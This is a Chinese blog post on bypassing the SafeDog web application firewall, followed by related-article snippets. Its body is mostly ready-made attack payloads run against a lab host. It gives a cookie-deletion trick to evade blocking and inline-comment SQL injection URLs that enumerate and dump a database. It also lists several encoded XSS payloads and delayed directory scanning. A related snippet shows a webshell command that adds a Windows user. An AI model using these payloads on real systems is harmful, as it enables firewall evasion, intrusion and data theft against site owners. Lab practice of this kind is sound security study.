安全狗bypass

最新推荐文章于 2024-08-08 10:48:47 发布
最新推荐文章于 2024-08-08 10:48:47 发布
阅读量369 收藏 1
点赞数
分类专栏： WEB渗透 文章标签： web安全 安全 信息安全 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_41924764/article/details/118982633
版权
本文探讨了SQL注入和XSS跨站脚本攻击的常见payload及绕过策略，同时提到了目录扫描的方法。通过示例URL展示了如何利用注释和特殊字符来探测SQL漏洞。此外，还分享了如何通过删除特定cookie来规避安全拦截。对于XSS攻击，列举了几种不同的payload类型。最后，提到了目录扫描的常规操作和7kbscan工具的延时扫描应用。
摘要由CSDN通过智能技术生成

目录

小技巧

如果你发送payload被ban后，安全狗会在你的cookie中插入一段cookie，之后你访问这个页面就会被拦截了，只要你删除那段cookie即可绕过拦截。
在这里插入图片描述

sql注入

http://10.1.1.18/control/sqlinject/manifest_error.php?id=1'/**/and/**/-1=-1--+

在这里插入图片描述

http://10.1.1.18/control/sqlinject/manifest_error.php?id=1'/**/and/**/-1=-2--+

在这里插入图片描述

http://10.1.1.18/control/sqlinject/manifest_error.php?id=1'/**/order--+/*%0Aby 2--+

在这里插入图片描述

http://10.1.1.18/control/sqlinject/manifest_error.php?id=-1%27/**/union/**//*!10044select*//**/1,2--+

在这里插入图片描述

http://10.1.1.18/control/sqlinject/manifest_error.php?id=-1%27/**/union/**//*!10044select*//**/1,/*!10044database*//*!()*//**/--%20--+

在这里插入图片描述

http://10.1.1.18/control/sqlinject/manifest_error.php?id=-1%27/**/union/**//*!10044select*//**/1,group_concat(table_name)/**/%20--+/*%0Afrom%20information_schema.tables%20where%20table_schema=database()%23*/

在这里插入图片描述

http://10.1.1.18/control/sqlinject/manifest_error.php?id=-1%27/**/union/**//*!10044select*//**/1,group_concat(column_name)/**/%20--+/*%0Afrom%20information_schema.columns%20where%20table_name=%27flag%27%23*/

在这里插入图片描述

http://10.1.1.18/control/sqlinject/manifest_error.php?id=-1%27/**/union/**//*!10044select*//**/1,group_concat(flag)/**/%20--+/*%0Afrom%20flag%23*/

在这里插入图片描述

xss

在这里插入图片描述
payload:

<iframe srcdoc%3d"%26lt%3bimg src%26equals%3bx%3ax onerror%26equals%3balert%26lpar%3b1%26rpar%3b%26gt%3b">

<object data%3ddata%3atext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==><%2fobject>

<marquee onstart%3dalert(1)><%2fmarquee>

<body/οnlοad=alert(1)><body>

<a onclick%3dalert(18)>

目录扫描

在这里插入图片描述
正常扫描扫描失败
在这里插入图片描述
在这里插入图片描述
利用7kbscan工具延时扫描：
在这里插入图片描述

凝聚力安全团队
关注
专栏目录
ByPASS系列之安全狗
游魂的博客
12-07 928
绕过安全狗： 内联注释法：/*! */ 首先测试拦截关键字：and 1=1 被拦 内联注释测试：/*!10440and*/1=1 http://xxxx.com:8888/int.php?id=5 and 1=1 可以看到已经绕过了安全狗检测，/*!数字and*/1=1,内联注释中的数字是通过模糊测试出来的。 注意：/*!数字*/ 数字小于数据库版本关键字会执行，大于数据库的版本关键字不会执行...
Bypass安全狗+DVWA靶机环境搭建
SuPejkj的博客
06-18 971
0x00 准备环境 win7虚拟机（个人用的是win7，看个人偏好） phpstudy： http://phpstudy.php.cn/download.html DVWA： https://github.com/ethicalhack3r/DVWA 安全狗： http://free.safedog.cn/server_safedog.html 我这里用的是最新的phpstudy 将下载好的DVWA解压放到phpstudy的www目录下 0x01 配置DVWA环境 将 config.
绕过安全狗Getshell
06-12
详细手把手教你如何绕过安全狗Getshell，新手一学就会
Bypass安全狗
sun_k的博客
09-08 662
0x00 手工fuzz绕过安全狗 环境 安全狗最新ApacheV4.0版(Windows) Sqli-lab-Less-1 Phpstudy集成环境：Apache2.4.39、Mysql5.5.29 Sqli-lab-Less-1中包含了联合查询、报错注入、布尔盲注、时间延时盲注等注入姿势，方便我们进行测试。 1、fuzz安全狗拦截策略 http://192.168.174.136/sqli-labs-master/sqli-labs-master/Less-1/?id=1' 报错且不拦截 http
什么，有狗快跑！慢着，这次手把手教你怎么过安全狗！（sql注入篇）_sql注入绕最新安全狗
最新发布
heike_Ch的博客
08-08 813
从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。干货主要有：①1000+CTF历届题库（主流和经典的应该都有了）②CTF技术文档（最全中文版）③项目源码（四五十个有趣且经典的练手项目及源码）
安全狗- bypass技巧
qq_45951598的博客
05-07 215
sql注入bypass 判断是否存在注入 payload ?id=2' and -ascii('a')=-abs('-97') --+ hhp参数污染 payload ?id=1' /*&id=1' order by 99 --+ */ 报错注入payload ?id=1' /*&id=-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.table
Safedog 4.0 bypass绕过
Keepb1ue的博客
02-28 3793
Safedog 4.0 bypass绕过
SQL注入Bypass安全狗4.0.pdf
04-08
SQL注入攻击绕过安全狗4.0 SQL注入攻击是常见的Web应用安全漏洞之一，攻击者可以通过操纵SQL语句来访问或修改数据库中的数据。安全狗4.0是一款Web应用防火墙，可以检测和防止SQL注入攻击。但是，攻击者可以使用各种...
web攻防漏洞之Bypass安全狗绕过
s11show_163的博客
02-28 1163
目的：攻击者在被害者网站上挂载一个自己的木马文件1.php，然后通过在攻击者电脑上访问该挂载文件来实现对被害者网站或者被害者电脑进行侵害。 攻击者希望执行： 创建服务器用户： key=echo('<pre>');system('net user a a /add'); 删除服务器用户： key=echo('<pre>');system('net user a /del')...
bypass 学习笔记之绕安全狗||bypass safedog
Summer's blog
05-13 3309
目录前言0x00 前期准备0x01 开始尝试绕开判断字段数联合查询爆数据Reference Resources 前言 走上安全这条路也有9个月了，虽然中途有两个月一直在准备其他的事情，但是安全这条路一直在坚持着。 学习安全这么久了，从一开始的脚本小子，我也一直想转变一下，改变自己的现状，但是因为种种事情，给耽误了这个计划。 因为接触最多漏洞应该是SQL注入吧，所以我第一想到就是bypass ...
【经验总结】SQL注入Bypass安全狗360主机卫士
TeamsSix 的 CSDN 空间
01-05 887
0x00 前言 这类的文章已经是比较多了，本文也主要是作为学习笔记来记录，主要是记录一下我在学习 SQL 注入 Bypass 的过程，同时前人的不少绕过方法已经失效了，所以这里也是记录一下最新规则的一些绕过方法。 0x01 环境搭建 测试环境：Win7 + Apache + MySQL 5.7.26 + PHP 5.5.45 测试代码： <?php if ($_GET['id']==null...
sql bypass 安全狗（最新）
yggcwhat
05-10 550
sql bypass 安全狗（最新）
【WAF剖析】——SQL注入之安全狗bypass深度剖析
Demo不是emo的博客
11-23 6903
sql注入不会绕过WAF？关注我，让我带你由简入难实战各个WAF，今天先来看看web安全渗透必会的安全狗WAF，你会绕吗？看我带你将它拿下
安全狗的绕过
alien0011的博客
06-09 3460
安全狗的绕过（截至6.8号） 环境： phpstudy2018 安全狗apache版 sqllabs靶场 安全狗绕过思路： 安全狗是基于正则匹配的绕过，所以总是能够绕过其正则匹配实现sql的命令执行，需要对数据库语句灵活掌握。经过对安全狗的fuzz，测试其拦截规则，发现其实and、or这样的敏感字符是不会被直接拦截的，但是and加空格就会被拦截，其实绕过的中心可以向如何绕过空格偏移。 为了可以更清晰的认知注入语句是如何在数据库中执行的，我修改了sqli-lab的代...
安全狗绕过
jxy158212的博客
02-16 372
对于sql注入漏洞，针对安全狗的绕过
绕过安全狗
weixin_45923850的博客
07-20 1194
1. 判断类型：?id=1正常，?id=1 and 0被拦截，经过变形and和后面值发现这个组合会被拦截，用非常规方式绕过，例?id=1 and -1=-2和?id=1 and -1=-1，虽然绕过了，但是页面没变化，所以可能是字符型，加单引号就正常，?id=1' and -1=-1 --+ 2. 判断列数：输入?id=1' order by 3 --+被拦截，用注释，?id=1' /*!23144 order==*/ /*!32443 by*/ 3 --+页面正常，绕狗成功 3.
一次安全狗绕过
weixin_45490166的博客
07-15 263
http://115.159.97.35/sqli-labs-master/Less-1/?id=1 安全狗绕过 参考 https://www.cnblogs.com/Yang34/p/12055052.html ?id=1' order/*!99999asd*/by 3 --+ ?id=-1'union/*!99999test*/select 1,2,/*!99999test*/group_concat(schema_name) from information_schema.schemata--+
绕过安全狗_安全狗Bypass绕过
weixin_39604819的博客
01-11 1779
纸上得来终觉浅，绝知此事要躬行。安全狗的版本是4.0(最新的啦)在实战中会经常遇到waf很困扰，有时候站点有waf连报错都不会回显给你，这就很难受特此做一篇文章总结我学习绕狗的知识总结以安全狗为例，后续会出D盾、守护神等等有时间就做一些总结第一步确认已经打开安全狗，判断是否存在注入点由此可见安全狗对我们的不友好，按照拦截的思路，安全狗是拦截and 1=1一个整体的。如果你输入id?=1 ...
绕过SQL注入安全狗4.0的实战挑战
SQL注入Bypass安全狗4.0是一个关注点在于防范SQL注入攻击的安全防护软件，本文档似乎是在探讨如何通过实际操作来测试或绕过这种安全工具。在给出的源代码片段中，我们可以看到一个PHP应用程序，该程序试图验证用户...
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

凝聚力安全团队

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值